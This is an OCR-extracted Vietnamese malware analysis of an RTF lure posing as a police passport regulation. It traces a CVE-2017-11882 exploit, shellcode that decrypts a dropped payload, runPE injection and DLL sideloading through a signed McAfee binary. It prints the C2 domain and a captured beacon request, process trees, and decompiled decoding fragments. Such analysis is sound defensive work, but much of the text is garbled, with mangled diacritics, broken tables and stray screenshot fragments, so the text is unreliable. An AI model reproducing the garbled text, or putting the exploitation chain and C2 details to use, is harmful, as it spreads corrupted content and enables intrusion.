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Poc lap - Tw do - Hanh phiic

QUY CHE
Vé viéc sit dung va quan Iy hé chiéu trong lwc lwong Cong an nhin din
(Ban hanh kém theo Quyét dinh s6 ..../OD-....
ngay...thang..ndm ...cua Bé triong Bo Cong an)

Chwong I. Quy dinh chung
Piéu 1. Pham vi diéu chinh:
Quy ché niy quy dinh viéc sir dung va quan 1¥ ho chiéu ngoai giao. ho chiéu

congvu. ho chiéu phé— thong (sau day goi chung la ho chiéu) cia can bo, chién si lue
lwong Cong an nhan dan o trong va ngoai nude.

Diéu 2. Doi twong ap dung:
Quy dinh nay ap dung doi véi:

1. Can bo, chién si (ké ca can b, chién si dang nghi che huu, biét phéi ngoai
Nganh._.) duge cdp hé chiéu theo quy dinh tai Nghi dinh s6 136/2007/ND-CP ngay
17 thing 8 ndm 2007 cua Chinh phi vé xuit canh, nhép canh cua cong din Viét Nam
(sau &4y goi 1a Nghi dinh 136) va Nghi dinh s6 65/2012/ND-CP ngay 06 thing 9 nim
2012 ciia Chinh phu sira 86i, bé sung mot s6 diéu cia Nghi dinh s 136 (sau day goi
la Nghi dinh 65).
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V6 tinh bat g&p trén twitter cia @blu3_team (), tdi t6 mo mubn biét ki thuat dang sau né 1a
gi bdi tdi thay n6 twong tw nhuw mét bai ma t6i da doc
https://medium.com/@Sebdraven/malicious-document-targets-viethamese-officials-
acb3b9d8b80a, va vi xem comment, ngudi nghi ngd 1a OceanLotus, nguwdi khang dinh [a
1937CN Team...

Xin 16i vi bai viét kha dai, t6i cling khéng biét 1am thé nao dé cho né ngan hon :D, néu ban
khéng co thoi gian dé doc hét thi bAm mét like réi chuyén trang khac. Phan t6i, mét & do toi
thich viét, mat khac ciing la cach t6i tw rén ki nang ... phan niva 13 vi t6i biét rang chi khi
minh thwc sy bat tay vao phan tich mai thay noé khac xa véi nhivng gi minh doc bang mat va
twdng twong....

@blud_team @blu3_team - Oct 30 v
8.t #Malware
QUY CHE VE HO CHIEU NGOAI GIAO.dac

e2 28045ef5TfhEcc1 226b62adaTeeeb

C2: login\.dangquanwatch'.com
& Translate Tweet
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vige sik g va quin Iy hi chien trong hye hrgmg
(Ban hanh kém theo Q::_vé'r dink 58 ... A0
ngdy...thdng.. ndm _.ciia BS triedng Bg C

Clharong L Quy dinh ching
#u 1. Pham vi dieu chinh:

y ché nay quy dinh vige sir dyng va quan 1y hé cl

1. Méi trwong thwe hién

1. May do REMnux (https://remnux.org/): st dung dé phan tich files, gia 1ap Internet services va
capture network traffic.

2. May ao Win10x64 (tw build): str dung cho Static & Dynamic Analysis
a. Cai dat san cac cong cu debugger & disassembler: OllyDbg, x64dbg, IDA ...
b. Cai dat san Office 2013.

c. Enable tai khoan Administrator (méc dinh tai khodn nay bi disable) va dang nhap bang tai
khoan nay dé thwc hién phan tich.

2/33


https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a
https://remnux.org/

2. Phan tich theo hanh vi

Khi mé tai liéu trén may do Win10, sé thy (’ng dung EQNEDT32.exe dwoc goi, sau do xuét hién
thém hai tién trinh khac 1a QcConsol.exe va dllhst3g.exe:

"8 PrgcessHacker.exe 472 1.16 716 ME REMWorkstation\REM

4 |E| WINWORD.EXE 2004 17.68 MB  REMWorkstation\REM

E%SI splwowbd,exe 3212 1.62 MB  REMWorkstation\REM

@ QcConsol.exe 2136 501 MB REMWorkstation\REM
CE| dllhst3g.exe 1112 2.3 MEB  REMWorkstation REM

Trén may do REMnux chay Wireshark dé capture traffic tir may do Win10, thu dwoc két qua két
ndi t&i C2 server |a login[dot]dangquanwatch[dot]com:

[ FFE HE5=1460 wWi=ibt SALK_PERM=1

Wireshark - Follow TCP Stream (tcp.stream eq 3) - C2.pcap

GET /1link?url=pJWkuZWcMDUy&enpl=JEppeA==&encd=0(TkJSDE= HTTP/1.1

User-Agent: Mozillas4.8 (compatible; MSIE 8.8; Win32)

Host: login.dangquanwatch.com

Cache-Control: no-cache

Cookie: elylL4GZgeAHEBVThZaVR4cm+LgGVDCAQS00bThY

kHRzAGOLp7BeABs T z8yzODBULLMzQZUCACAgZmz gUMIKUALGhpZ GeoZmFngmeoZE 1 HyWUACMDWE DABDS Z hwMAAAS /BHE

Lé'g_;_zz't’ja- Noriben (https://github.com/Rurik/Noriben) cung cép:

Processes Created:

[CreateProcess] Explorer.EXE:1828 > "%ProgramFiles¥%\Microsoft Office\Officeld\WINWORD.EXE /n %UserProfile%\Desktop
\b45087ad4f7d84758046e9d6eb174536Ffee38b869105a78f124cbdelecfbod415.doc™ [Child PID: 2564]

[CreateProcess] svchost.exe:66@ > "%CommonProgramfFiles%\Microsoft Shared\EQUATION\EQNEDT32.EXE -Embedding” [Child PID: 316@]
[CreateProcess] EQNEDT32.EXE:3168 > "%CommonProgramFiles¥%\Microsoft Shared\EQUATION\EQNEDT32.EXE" [Child PID: 39@8]

[CreateProcess] services.exe:576 > "%CommonProgramFiles%\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE" [Child PID: 1724]
[CreateProcess] WINWORD.EXE:2984 > "%WinDirX%\splwowé4.exe 8192" [Child PID: 3212]

[CreateProcess] EQNEDT32.EXE:3988 > "%AppData%\Microsoft\Windows‘\Printer Shertcuts\QcConsol.exe -LowIntegrityServer" [Child PID: 3624]
[CreateProcess] QcConsol.exe:3624 > "%WinDir%\system32\dllhst3g.exe" [Child PID: 328@]
[CreateProcess] dllhst3g.exe:3208 > "%AppData%\Microsoft\Windows‘\Printer Shortcuts\QcConsol.exe -LowIntegrityServer" [Child PID: 2138]
[CreateProcess] QcConsol.exe:2136 > "%AppDataX\Microsoft\Windows\Printer Shortcuts\QcConsol.exe -LowIntegrityServer" [Child PID: 652]
[CreateProcess] QcConsol.exe:652 > "%WinDir%\system32\dllhst3g.exe" [Cchild PID: 1112]

3. Phan tich sample trén REMnux

Sample nhéan duoc la mét file cé dinh dang RTF:

S dng rtfobj (h_tts://github.co/declge2/oletools), biét duoc sample né c6 3 objects:
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Object tai id 0 c6 FileName la 8.t, khi m¢& tai liéu thi file nay sé dwgc drop vao thw muc Temp trén
may. Hai object con lai dwgc nhan dién la “Not a well formed ole object’.

Dung ludn rtfobj dé dump toan bd cac objects nay:

Kiém tra thong tin timg file. DAu tien la
b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415 8.t
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Theo data nhw trén hinh thi kha nang file nay da bi ma hoéa va sé dwgc giai ma sau khi drop vao

thw muc Temo.

Vi file

b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415_object 000C11FB.raw:

Can ctr vao dau hiéu nhw trén hinh thi kha néng file RTF c6 thé sé sir dung exploit CVE-2017—
11882 (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882).

Kiém tra file con lai 1a
b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ectb0415 object 000C11E9.raw:
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...Microsoft

3.0 L

.DS Equation....
.Equation.3..9.

( 0: 0000 © )2 Off ffff ffff ffff ffff ... ............

File nay kha nang sé chira doan shellcode dé thwc hién sau khi may nan nhan bj exploit. Théng
tin so bo 1a nhw vay, tiép theo ta sé thwc hién debug sample nay dé xem file 8.t dwoc stiv dung
nhw thé nao.

4. Debug maldoc trén Windows10

Lién quan t&i exploit CVE-2017-11882, khi chay sample, Winword.exe sé goi tién trinh
EQNEDT32.exe dé handle OLE object. Tuy nhién, Winword.exe khéng phai la process cha cla
EQNEDT32.exe, tién trinh EQNEDT32.exe duoc goi bdi Winword.exe théng qua viéc str dung
COM Object nhw hinh du¢i day:
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Process CPU  Private Bytes
i System Idie Process ' 5§3.45 0K
B B System 0.2 1638 K
] Intemupts 0.51 0K

87| smss axe 32K

W cerss.me 233K
() [07 wanini ecce: 86K
B 17 services axe 4160K

= 7 swchost exe T216K

a7 dlihost ese 1324 K

N{EQNEDT32 EXE
G2 WmiPrvSE axe 2023 K
 zvchost exe | <0.01 60K

Waorking Set
4K
12,855 K
0K
1.052K
5744 K
4044 K
TABA K
14728 K
5980 K
10568 K
312K
3N.72K
5604 K

G124 K

10,848 K
Nhuw vay, béng cach nao dé ta phai attach dwoc EQNEDT32.exe vao debugger dé debug. O day,
toi str dung mot ki thuat ctia M$ la (IFEO:
https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/).

PID  Description

]

4
n/a Hardware Infemupts and DPCs
4028 Windows Session Manager
580 Client Server Runtime Process
676 Windows Start-Lip Application
736 Services and Controler app
864 Host Process for Windows Senvices
36384 COM Sumogate
4288 Windows host process (Rundl32)

7360 Skype Browser Host

7352 Host process for WinRM plug-ns
8572 Microsoft Equation Editor

8408 WMI Provider Host

836 Host Process for Windows Sarvicas

Vao Registry, tao mot key nhw sau hodc néu cai Word2013 tré I&n thi kha nang c6 san key nay (vi

t6i thay trén may téi cé sén):

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Micresoft\Windows NT\CumentVersion\Image File Execution Options\EQNEDT32.EXE

w  Image File Execution Options
chiew.exe
CMigrate.exe
Common.DBConnection.exe
Common. DBConnectionfd.exe
DATABASECOMPARE.EXE
dw(.exe

l . EQMEDT32EXE

excelenv.exe
ExtExport.exe
FIRSTRUM.EXE
FLTLDR.EXE

Tiép theo, tao mot string value dé khoi chay debugger khi EQNEDT32.exe dugc thyc thi, qua do
sé attach dwoc debugger vao tién trinh cia EQNEDT32.exe.

Vi thiét 1ap nhw trén, kiém tra lai bang Autoruns sé& nhu sau:

Type Drata

REG_57 (walue not set)

REG_SZ "ChProgram Files (x86)\Xjun's_Dbg\Xjun's Dbg.exe"
_?5'93 DisableExceptio.. REG_DWORD (00000000 (0)

3 Everything 24 Logon 5 Explorer 48 Interret Expiorer () Schecded Taske Oy Senices B Orivers | Codece [ BootEw

Futorun Entry Diescription Pubksher Image Fath Tireastarmg:

¥ HELM Softwans'\Microseft\Windows. NT'\Cusment Version'image Fle Execution Options 10102018 11:08 AM
1 Mg somEDTIZ EXE TES-DO0X Oy DBG c\program files fBE) quns_dbg'ogun's dbg exe 5/24/7004 324 AN
B sk ds Process Hacker wjid & \program fles omcess hacker Domcesshackersxe 125/ 2016 8:34 AM

i HHLMSoftware \Wow5432Node \Microsolt \Windows NT'\Cument Version'image File Execution Options 1012018 1108 AM
Bl Mg EamEDTIZEXE VG5O Oy DB e prograrm fles (S wgun's_dbg s dbg s S/20/2004 328 AM
I taskmgreme Process Hacker wyi2 c-program fles'process hacker Dprocesshackereve /292016 8:34 AW

# HELM\SOFTWARE Classes’ Himifile Sl Open'Command' Defauk) 120282017 10:32 AM
& C\Program Fles'inteme... intemset Explorer Microgol Comporation c-program fles intemet eoplonersssplons e WAL2014 12:48 AN
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Lwu y: khi thiét 1ap IFEO, céac thiét Iap sé tw dong bo gitra hai key:
HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options va HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

Tiép theo, m& WINWORD.EXE, sau dé ttr Winword mé tai liéu malicious rtf. Luc nay, tién trinh
EQNEDT32.exe cling sé duwoc kh&i chay va dwoc attach vao debugger:

% = explorer.exe 3356 013 4713 MB DESKT...\Administrator  Windows Explorer
B MSASCuil.exe 796 1.B1MB DESKT...\Adrministrator  Windows Defender |
) vmitoolsd.exe 45160 014  1.05kBfs 2208 ME DESKT.\Administrator VMware Tools Core
2D Everything.exe 1332 013 259kBfs 3994 MB DESKT.\Administrator  Everything
1% ProcessHacker.exe 1300 0.83 16,14 MB DESKT..\Administrator  Process Hacker
) WINWORD.EXE 6248 37.75MB DESKT..\Administrator  Micresoft Word
» (] svchost.exe 240 11.34 MB  NT AUTHORITYASYSTEN Host Process for Windows !

i1 WmiPrvSE.exe 3204 95TME N.ANETWORK SERVICE WM Provider Host
[] RuntimeBroker.exe 5212 7I7TMB DESKT..\Administrator  Runtime Broker
[o°] RuntimeBroker.exe 1224 0.09 9.07T MB  DESKT..\Administrator  Runtime Broker
[#] dilhost.exe 6792 343 MB DESKT..\Administrator  COM Surrogate

[®'] RuntimeBroker.exe 5492 241 MB DESKT..\Administrator  Runtime Broker

[n] RuntimeBroker.exe B044 1.3MB DESKT..\Administrator  Runtime Broker

[7] beastdvr.exe 1284 3.6TMB DESKT..\Administrator  Broadcast DVR server

[ smartscreen.exe 2160 95MB DESKT..\Administrator  Windows Defender Smarts:

[%] SppExtComObjExe 2344 213MB  NLANETWORK SERVICE  KMS Connection Broker
- Xjun's Dbg.exe 2324 0.12 2095 MB  DESKT..\Administrator  YGS5-DOX OlyDBG

it EQNEDTI2.EXE 3932 1.39MB  DESKT..\Administrator  Microsoft Equation Editor

(o] svchost. exe 936 TEIMB N.ANETWORK SERVICE Host Process for Windows !
[®7] swchost.exe 984 204 MB NT AUTHORITWSYSTEN Host Process for Windows !

Tai deb_ugger, ta dang dirng lai tai EP(Entry Point) chia EQNEDT32.exe:

* YG5-00X - EQMNEDT32.EXE - [*G.P.U* - main thread, module EQNEDT32]

@ File View Debug Plugins Options Window Help Tools EBreakPoint->

Pued  [IEIEO] SN SIE HE 8 8 COgEaEwonEEass
[ [ Fol| Del || [ Fol] pel|f [ |
Address |Hex dump

Disassenbly Comment

Kiém tra ta thay file 8.t da dwoc drop vao thw muc Temp:
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8.t

Mame Path Size [
8.t Ch\Users\ AdministratorAppDatatLocal\ Temp 332 KB
=| AppCache131854460726055208. 6t ChUsers\AdministratorAppDatatLocal\Pack... 239 KB
|=| AppCache1318544605263 72608, bt ChUsers\AdministratorAppDatatLocal\Pack... 239 KB

M0 HxD - [ChUsers\AdministraterAppDatatLocal\ Temph8.t]

5% File Edit Search View Analysis Extras Window 7

A g 16 w| | ANSI v | hex e
H st
Offset (h) 00 01 02 03 04 05 06 07 0% 0% OA OB OC OD OE OF
00000000 [B2 A€ €D FF FF FC FC FC F8 FC FC FC 03 03 FC FC & !myyuieddd. .dd
00000010 44 FC FC FC FC FC FC FC BC FC FC FC FC FC FC FC DiGUudGhiddausd
00000020 FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC UUUUUUHEEEEEAGGHE
00000030 FC FC FC FC FC FC FC FC FC FC FC FC 04 FC FC FC UUUUUUHEEHEEE. U
00000040 F2 E3 46 F2 FC 48 F5 31 DD 44 FD BO 31 DD A8 94 o&FouHS1YDy°1¥ "~
00000050 95 8F DC 8C SE 93 9B S8E 9D 91 DC 9F 9D 92 92 93 =.0@E“>Z. G%.rr
00000060 88 DC 9E 99 DC S8E 8% 92 DC 95 $2 DC BE B3 AF DC ~Uz™Uiwnrg-r8,*70
00000070 91 93 98 99 D2 F1 F1 Fé D§ FC FC FC FC FC FC FC ‘“"™0ARGQHGGGGGHE
0000 39 EA SE 2E 7D 8B EO 7D 7D 8B EO 7D 7D 8B EO 7D 92Z.}c&}}ca}ical
0000 12 FD 7E 7D €F 8B E0 7D 12 FD 4A 7D 3B 8B EO 7D .¥y~}oca}.vJ};<a}
O0O00OR0 74 F3 75 7D 7C 8B EO 7D 12 FD 4B 7D €3 8B EO 7D téu}|<a}.yKlcca}

D&t BP tai API , sau d6 nhan F9 dé thwec thi, ta thady chwong trinh sé thwc hién mé file 8.t dé doc
ndi dung:
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Address |Hex dump Disassenbl Comment

545 FC

E& ||4: Qo0

short 73F
short 7.

short T3FETS60F

B.t Properties

General Secudly Detals Previous Versions

Type of file T Fle (1)

Opens with +| Pick an app Change...

Location: CAllsers\Administrator'AppDa

Size: 332 KB (339,968 bytes) AT 026 3€bit ULFFFFFFEP
Z 1 ) 1t QUFFFFFFFF)
Size on disk; 332 KB (339,968 bytes) g g it 2F4000 (FFF
]G ; it ((F i
Sau doé, goi ham dé thyc hién cap phat mét vung nhé:
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B8 04000000

5D

short
short

short

EernelBa. VirtualAlloc

1| 55 by
\Ving nhé dwoc cap phat tré béi thanh ghi EAX, follow theo ving nhé nay dé xem code sé tac
ddng gi Ién no:

# Registers (FPI)
y -

E

Tén b6 ndi dung cla 8.t duwoc doc vao vung nh¢ da duc cé hét & trén:
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Tiép tuc trace sé t&i doan shellcode thyc hién giai ma toan bd ndi dung cua file 8.t trong memory
tai :

[tddress |Hex dumg Dizassemnkl Commant

file:

ho thu hién xog toénbé vong lap giai ma trén sé cé duc Ot PE hoan chinh trong bd nh¢:
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. .rdata..

File name: | 04F70000_durnped|

Save as type: | *.mem file (.mem)

File dump duwoc la mét exe file:

13/33



H @ O4FT0000_durmged, mem 3

-~

| Mermber Offset Size Value Meaning
B = File: 04F70000 mem -
= Lshmped Machine 000000FC Word 014C Intel 386
— & Dos Header i '} |
& Mt Headers Characteristics - x 0005
i) File Header ' TP
oo —rep— | |sBceaxer
Al Data Directo Fleisalu, 00000000
; L || System Fie - |
&l Section Headers [x] [ Relocation info stripped from file 0000000
) Import Directory || Line numbers stripped from file E 1
(7 Resource Drectory Local symbols stripped from file DOEO

3R T —— Agressively trim working set .
Iy IDquvm:ar App can handle >2gb address space D10z 22

Bytes of machine word are reversed (low)

— ‘) Dependency Walker ] 32 bit word machine
— Jf‘l_. Hex Editor L_| Debugging info stripped from file in .0BG fie
— N identifier [_| If Image is on removable media, copy and run from the swag
| Acich || IF Image is on Net, copy and run from the swap file
.,: h‘pod ) [ ] File should enly be run on 2 UP machine
I~ ';:G“'d‘ Dizasscmbler [_] Bytes of machine word are reversed (high)
— % Rebuilder
— %_.Hem Editor
— % GunpackDil OK Canced

- I:},Hﬂu.m Tweaker ) o
Tiép tuc debug, shellcode goi tiép ham dé cap phat mét ving nh& khac tai dia chi :

Address HEI dump ASCIT

PE dwoc giadi ma tai ving nhé sé dwoc copy vao viing nhé méi dwoc cip phat & trén:

14/33



an oo 10 o e nolan o0 o 10 N
1ITTO (00 00 QO QOO 00 00 QO{EC 14 01 00|50 Q0 Q0 Qo

ump vung me tré ra bd nhé, va vi file nay da dwoc mapping trén memory va cé thay déi, nén
st dung cdng cu cua
(https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper) dé chuyén dbi tir

virtual format vé dinh dang raw:
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C:\Users\Administrator\Desktop>pe_unmapper.exe _85170800.mem 85178000.mem drop bin.exe
85172688 . mem
size = @x57800

filename:

356352

Load Base: 5178868
01ld Base: 489888

RelocBlock:
[#] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[#] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
RelocBlock:
[+] Applied
[*] Parsed r
Relocations
Coping secti

[+] .text to:

.rdata t

.data to

rsrc to:

.reloc t

Saved output
Press any ke

14| 00000000
001%ES18

001 )
O0159ER2:
Q019ES

DOISES2C 1 00000003

Ackiress | Hay

geealesd poeoRaCd
94 relocations
geee2ee8 oooBEasC
42 relocations
geeg3ese foooeTa
52 relocations
BE804000 BO08886C
49 relocations
20085808 2080814C
161 relocations
oeeece00 P0OBO16E
172 relocations
eeaa7a08 SOBRRFC
121 relocations
oee08000 P0OBOAEC
98 relocations
BE0a08688 SREBER64
45 relocations
oBeeAR82 BOBDOBZC
17 relocations
PeoaB0eD BO00005E
39 relocations
geeacesd PooDoB48
32 relocations
Ooe0EReE PooDOR10
4 relocations
QoeaFesa poopoade
28 relocations
gegleces pooBRaF4
118 relocations
geallesd 2oe0RaAd
78 relocations
geelieed pooBO118
136 relocations
peaseass foenReac
2 relocations
elocation size: 2716
applied!

ons:

eeB2adee

o: PEEB3ASL0

: BeB9acee
BEBCFoER

o: BEBD1E8ed

to: drop_bin.exe
y to continue .

TIFETES3 | rCALL to
hlodule = HNULL
PathBuffer = Q0019E87S

BufSize = 104 (260, )

O019EST7S
00oo0104
O019ESER
027A1FR0
' KernelBa. T3D47ARS

-

from msvert. Ta0ETE




S dung (CreateProcessinternalA) dé tao mot process EQNEDT32.exe khac & trang thai
dang thiét 1ap tinh nang IFEO nén ta sé thay process clia debugger thay vi 1a process
EQNEDT32.exe:

Mame PID  CPU

/0 total ..  Prvate b User name Descrption ol
 [1] senvices.eoe 624 ATIME  NT AUTHORITVSYSTEN Services and Controller app
[] swehost.exe T4 916 kB MNT AUTHORITYSYSTEN Hest Process for Windows Ser...
v (1] swchost.ee B0 121 MEB  NT AUTHORITWSYSTEN Hest Process for Windows Ser...
2 WmiPrvSEexe 3204 863 MB  M.ANETWORK SERVICE  'WMI Provider Host
(v RuntirmeBroker.eoe 5212 692 MB  DESKT..\Administrator  Runtime Broker
[n | RuntirmeBroker. sxe 1224 293 MB DESKT.'\Administrater  Runtime Broker

n | dilhast.ee 6132 1.9MB DESKT.\Administrater  COM Surrogate

(1] RuntimeBroker. e DESKT..\Administrator  Runtime Broker

(0| RuntimeBroker.exe B4 Runtime Broker

1.2 MB  DESKT..\Administrator

~ M Xjun's Dbg.exe TR D2 2878 MB  DESKT..\Administrater  ¥G5-DOX QllyDEG
v i EQMNEDTILEXE 6288 34MB DESKT.\Administrator  Microsoft Equation Editor
*.{un‘s Dbg.... 50892 2MB DEKI'..WMlmm

YG5-D0X UIWEG

pochost. ee

[f]
[ swchost.exe
[] svehast.exe
w [7] svehost.exe
[#7] taskhostw.exe

I [] swchost.exe

CPUUsage 4.88% Physical memony: 147 GB (36.66%) Processes: 119

Note: Néu thuc hién lai, t&i buéc nay thi str dung Autoruns dé bé viéc st dung IFEO va cho thuc

hién ham , ta sé cé duoc két qua dung nhw hinh:

T

u:| svchost.exe ; Program Files (xB6)\Common Files\microsaft shared
[

[w]

v | RuntimeBroker.exe Gl 1.3MB DESKT..\Administrator

(8] SppExtComObj.Exe 4988 217TMB  N.AMETWORK SERVICE

~ 8% Xjun's Dbg.exe 420 0N 3|42 ME DESKT..\Administrator

~ 7 EQNEDTI2EXE 4820 LJ6ME  DESKT..\Administrator

| Jit EQNEDT32.EXE 4992 433kE DESKT..\Administrator
—— IO — - S : — _‘ ‘:3 ME__ N AMETWORK E_F_Rll.-nr_f —
e FI.:.r Program Files (x26)\Common Files\Microsoft Shared\EQUATION\EQMEDT 22

EQUATION\EQMEDTS

Runtime Eroker
KMS5 Connection Broker
YG5-D0X OllyDEG
Microsoft Equation Editor
Microsoft Equation Editor
Hnst Process for Windows
EXE ocess for Windows
2 ExE [recess for Windows
ocess for Windows
woess for Windows
ocess for Windows
ooess for Windows
ocess for Windows

| swchost.exe licrosoft Equation Editor 2000.11.9.0
w (0] swehost.exe Design Science, Inc.
[87] taskhostw.exe ”c.té?':
(0] svehost.exe 48]
[87] swchost.exe _
(8] swchost.exe 1200

1.7T9MEB NT AUTHORITY\SYSTEMN Host Process for Windows

Doan code tlep theo sé& |4y thread context bang , doc dov |IelIJI tw vung nhé v ham 90|

(PAGE_EXECUTE_READWRITE 0x40) dé thay dbi trang thai ctia vung nhé trén Suspend

process, va cudi cuing shellcode ghi dé 1én bang PE tai dia chi :

. Do
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CALL to

Thread 00000334

T6ng két lai, toan bd qua trinh thyc hién cta shellcode la gidi ma file 8.t thanh mét PE maii,
sau do thwc hién nhan ban sang mét vung nh& khac, thic hién tao mét fork process mai la
EQNEDT32.exe, cudi cung ap dung ki thuat runPE dé launch EQNEDT32.exe mé&i d3 bj ghi
de code b&i ndi dung cua file 8.t.

5. Phan tich binary da dump

Nhw da biét khi phan tich dynamic, sau khi resume thread thi malware sé drop ra disk cac file sau:
vao thw muc %AppData%\Microsoft\Windows\Printer Shortcuts.

O trén toi co 2 file da dump la va . Tuy nhién, chi c¢ file la thuc thi dwgc binh thwong, con file thi
bi crash (mac du luc fix, kiém tra bang PE bear thady moi thir déu ok. Téi c6 chat hdi vé van dé nay
thi nhan dwoc tra I1&i cia nhw sau: “dumped samples may not always work, so it is normal’).

Mé& IDA va load file (d6i tén lai tir file .mem), dirng lai tai :
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Badaleas
e0d0l1e08 _ stdeall WinMain(x, x
Badaloes
Badale0s

e= dword ptr
dword ptr
d= dword ptr

BR481608 push |
mow
push
mov [ebp+hInstance]
7 push
mov > LoadStringh
push
push offset Buffer
push
push
call

push

push :

push ; ulD
23 push sl : hInstance
14 ecall

26 mov
B eall

push esi + hInstance
call sub_481aCa

_ stdeall WinMain(x, x, x, x) endp

¥

sar
89033117Ff lea
push
- i e 1s2CUsersRemfAppd
mov szCUsersRemippd:
call sub_331CC8 8, <Ci\Users\REM\AppData\Roaming\Microsoft\Windows\Printer Sh>
8, <ortecut ]

00 B0 t.c.u.t.S......

C4u thanh dwong dan cla cac file:

szClUsersRemfp_1:
3, <C:\Users\REM\AppData‘\Roaming'Microsoft\Windows\Printer Sh>
debug@l4d: 806D7DAS 8, <ortcuts\QcConsol.exe>,@

TR r

debug@ld:e0eD7ETS 5:Cﬂser5Rdﬂﬂp_B:
g814:886D7ETR @, <B:\Users\REM\AppData\Roaming\Microsoft\Windows\Printer Sh>
gol4:eeeD7ETE 8, <ortcuts\Qclite.dll>,®

Ak ANk
debug@ld: @8eD7F38 CU;CFsRCmApJ¢:
debug@ld: @d6D7F38 B, <C:\Users\REM\AppData\Roaming\Microsoft\Windows\Printer Sh>
debug@ld: @@6eD7F38 g, <ortcuts\stdole.tlb:»,@

T&i doan code thwce hién 3 1an dé thwc hién drop cac file trén vao thw muc chi dinh. Toi doi tén sub
nay thanh thanh nhw hinh:
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ecx
edi,
ecx, offset unk_342BB@
8833157C drop_file
8833157C

edx, dword_3B81lEE4

edx

edi,

ecx, offset unk_37ABCSE
drop_file

eax, dword_3B81lEBB

eax
edi,

ecx, offset unk_356768
drop_file

Di sdu vao ham nay sé gap vong lap xor thiec hién decode bytes, sau do la doan code thyc hién

vao thuw muc:

loc_331968:

mov
PR33I196ER push

puth

puth

push

push

push

push

call

L
o] 5
jnz short loc_331949

loc_331949:
oy T
push

lea

push

push

push

push

call

pugh
tast Ky
jz short loc_3319BF

Két qua sau khi thwc hién ham dau tién, c6 dwoc file :

(] MName Date modified Type

'f,” CcConsol.exe 10/31/201811:36 ...  Application

Day la mét file hop 1€, c6 chir ki va dwoc phat trién boi hang :

Size

145 KB
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v QcConsol.exe Properties
 General | Compativity | Diotal Signatures | Securty | De

Signature list
Name of signer: Digest algorthm Timestam
McAfee, Inc. shal Thursday
Property Walue
Description

ile description  QuickClean Console Application
Type Application
10.5.108.0
McAfee QuickClean
Product version  10,5.0.0

File version
Product name

Zopyright Copyright = 2010 McAfee, Inc.
Size 144 KB

Date modified 103172018 11:36 PM
Language English {United States)

Jriginal flename GcConsol exe

L&i goi ham thir 2 sé drop ra file , file nay khéng cé théng tin gi vé Signature ciing nhw info, nhw

Digital Signature Details L
General | Advanced
— 1, Digital Signature Information
This digital signature is OK.
Signer information
Name: [ml
E-mad: |Not availzble
Signing time: [Thursday, March 11, 2010 1:28:54PM
View Certificate

Countersignatures

Mame of signer:  E-mail address: Timestamp

Verisign Time St... Mot avalable Thursday, March 11,...

|

vay malicious code sé& ndm & file nay:

-

] Mame Drate modified Type Size
D'@ QcConsol.exe 10/31/2018 11:36 ...  Application 145 KB
|%| CecLite.dll 103172018 11:41 ... Application extens... 50 KB
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Qclite.dll Properties

General | Securty | Details

Property Walue

Description
File description
Type Application extension
File version
Product name
Product version

Size 455 KB
Date modified 103172018 11:41 PM
Language

L&i goi ham thr 3 sé drop ra file stdole.tlb. Thong tin vé cé thé xem tai day
(https://docs.microsoft.com/en-us/windows/desktop/midl/com-dcom-and-type-libraries):

] Mame Date modified Type Size
'-@-' QicConsol.exe 10/31/201811:36 ... Application 145 KB
|#| CeclLite.dll 10/31/201811:41 ... Application extens... 50KB
| || stdoletlb 10/31/2018 11:44 ... TLBFile 148 KB

Tiép tuc, cau thanh mét command nhw sau:

szCUsersRemAp_5:
, <C:\Users)

‘\AppData'\Roaming\Microsoft\Windows\Printer Shortcuts)'

er’,@

Nhuw vay, véi viéc thue thi thanh cong, QcConsol.exe chac chén sé phai load vao dé thuc thi

malicious code.

6. DLL hijacking — Phan tich file QcConsol.exe

Load file vao IDA nhan dwgc théng bao:
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https://docs.microsoft.com/en-us/windows/desktop/midl/com-dcom-and-type-libraries

b 4 Please confirm n

IDA has determined that the input file was linked with debug information, and the symbol filename is:
9 ‘e BuildSystem\Node\QUICKCLEAN_LI1050_6340386639910.Build\build\Win32\Release\QcConsol.pdb’

Do you want to lock for this file at the local symbol store

and the Microsoft Symbol Server?

Yes Mo

[] Don't display this message again

DPé nap duoc , st dung API va sau d6 goi dé 13y dia chi cia ham. V& ban chét khi thyc hién nap
module thi ddng thdi code cla dll cling s& dwoc thue hién bat dau tir

7. Phan tich so bo file QcLite.dll
Goi ham dé cép phat moét ving nho:

(0, ©x200000u, MEM_COMMIT, PAGE_EXECUTE_READWRITE):

, @x18du),

y <Ci1\Users\REM\AppData‘\Roaming'Microsoft\Windows\Printer Sh:>
8, <ortcuts\stdole.tlb:,@

» GENERIC_READ, FILE_SHARE_READ, ©, OPEN_EXISTING, @, 0);

(h_stdole, NULL);

erOfBytesRead, @);
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p_mem_alloc_cp;

= Bx58005;

= Bx40003;

= Bx50006;
2xB0003 ;
Bx60002 ;
@x1eee4d ;
2x508a9 ;
@x30005

v2
v32
v32
v32
v32
v32
v32
v32
v32
v32
v32
v32
v32
v32
v32
v32
v32
v32
v32

'

wvinon

1 j ¢ size_of_stdole; ++k )

ox28 )

*((_BYTE *)p_mem_alloc_cp + j++) = *((_BYTE *)v32 + 2 * k);
}

Két qua c6 dwoc sau khi decode, nghi ngd kha nang day cé thé sé 1a mét PE file khac:
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MICODE “Qelite. d11”

. BRCEROOO0
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kernel32 d11[3] =
